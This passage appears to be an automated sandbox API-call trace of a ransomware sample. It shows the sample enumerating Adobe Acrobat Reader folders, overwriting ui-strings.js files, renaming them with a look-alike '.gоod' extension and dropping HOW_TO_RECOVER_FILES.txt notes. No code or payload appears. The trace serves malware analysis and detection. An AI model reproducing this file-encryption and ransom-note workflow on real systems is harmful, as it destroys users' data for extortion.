DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0150.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0150.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x55e9d7fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdc0)) returned 1 [0150.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0150.489] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\ui-strings.js.gоod")) returned 1 [0150.492] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0150.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0150.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0150.722] GetFileType (hFile=0x7dc) returned 0x1 [0150.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0150.722] GetFileType (hFile=0x7dc) returned 0x1 [0150.723] WriteFile (in: hFile=0x7dc, lpBuffer=0x37ee548*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37ee548*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0150.724] CloseHandle (hObject=0x7dc) returned 1 [0150.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0150.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x68 [0150.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0150.725] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.725] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0150.725] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0150.725] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0150.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0150.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0150.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0150.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x68 [0150.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0150.726] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.726] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0150.726] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0150.726] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0150.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0150.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0150.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0150.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3801d50 | out: lpFileInformation=0x3801d50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xd82)) returned 1 [0150.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0150.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0150.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0150.727] GetFileType (hFile=0x7dc) returned 0x1 [0150.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0150.727] GetFileType (hFile=0x7dc) returned 0x1 [0150.727] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xd82 [0150.727] ReadFile (in: hFile=0x7dc, lpBuffer=0x3802e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3802e40*, lpNumberOfBytesRead=0x1ffeba08*=0xd82, lpOverlapped=0x0) returned 1 [0150.729] CloseHandle (hObject=0x7dc) returned 1 [0150.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0150.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0150.757] GetFileType (hFile=0x7dc) returned 0x1 [0150.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0150.757] GetFileType (hFile=0x7dc) returned 0x1 [0150.757] WriteFile (in: hFile=0x7dc, lpBuffer=0x387ea70*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x387ea70*, lpNumberOfBytesWritten=0x1ffeb918*=0xd90, lpOverlapped=0x0) returned 1 [0150.758] CloseHandle (hObject=0x7dc) returned 1 [0150.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0150.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0150.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0150.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x56125e22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1 [0150.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0150.758] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\ui-strings.js.gоod")) returned 1 [0150.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0150.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0150.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0150.760] GetFileType (hFile=0x7dc) returned 0x1 [0150.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0150.760] GetFileType (hFile=0x7dc) returned 0x1 [0150.761] WriteFile (in: hFile=0x7dc, lpBuffer=0x38822e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38822e0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0150.761] CloseHandle (hObject=0x7dc) returned 1 [0150.762] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0150.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec670) returned 1 [0150.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0150.762] GetFileType (hFile=0x7dc) returned 0x1 [0150.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec5e0) returned 1 [0150.762] GetFileType (hFile=0x7dc) returned 0x1 [0150.763] WriteFile (in: hFile=0x7dc, lpBuffer=0x3885c18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffec738, lpOverlapped=0x0 | out: lpBuffer=0x3885c18*, lpNumberOfBytesWritten=0x1ffec738*=0x5d0, lpOverlapped=0x0) returned 1 [0150.764] CloseHandle (hObject=0x7dc) returned 1 [0150.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x77 [0150.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0150.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0151.371] GetFileType (hFile=0x7fc) returned 0x1 [0152.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0152.066] GetFileType (hFile=0x7fc) returned 0x1 [0152.067] WriteFile (in: hFile=0x7fc, lpBuffer=0x3a47e10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x3a47e10*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0153.141] CloseHandle (hObject=0x7fc) returned 1 [0153.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0153.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0153.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0153.142] GetFileType (hFile=0x7fc) returned 0x1 [0153.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0153.142] GetFileType (hFile=0x7fc) returned 0x1 [0153.142] WriteFile (in: hFile=0x7fc, lpBuffer=0x392bfb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x392bfb8*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0153.143] CloseHandle (hObject=0x7fc) returned 1 [0153.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0153.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api", lpFilePart=0x0) returned 0x5e [0153.143] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.144] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.144] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0153.145] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0153.145] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0153.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0153.145] 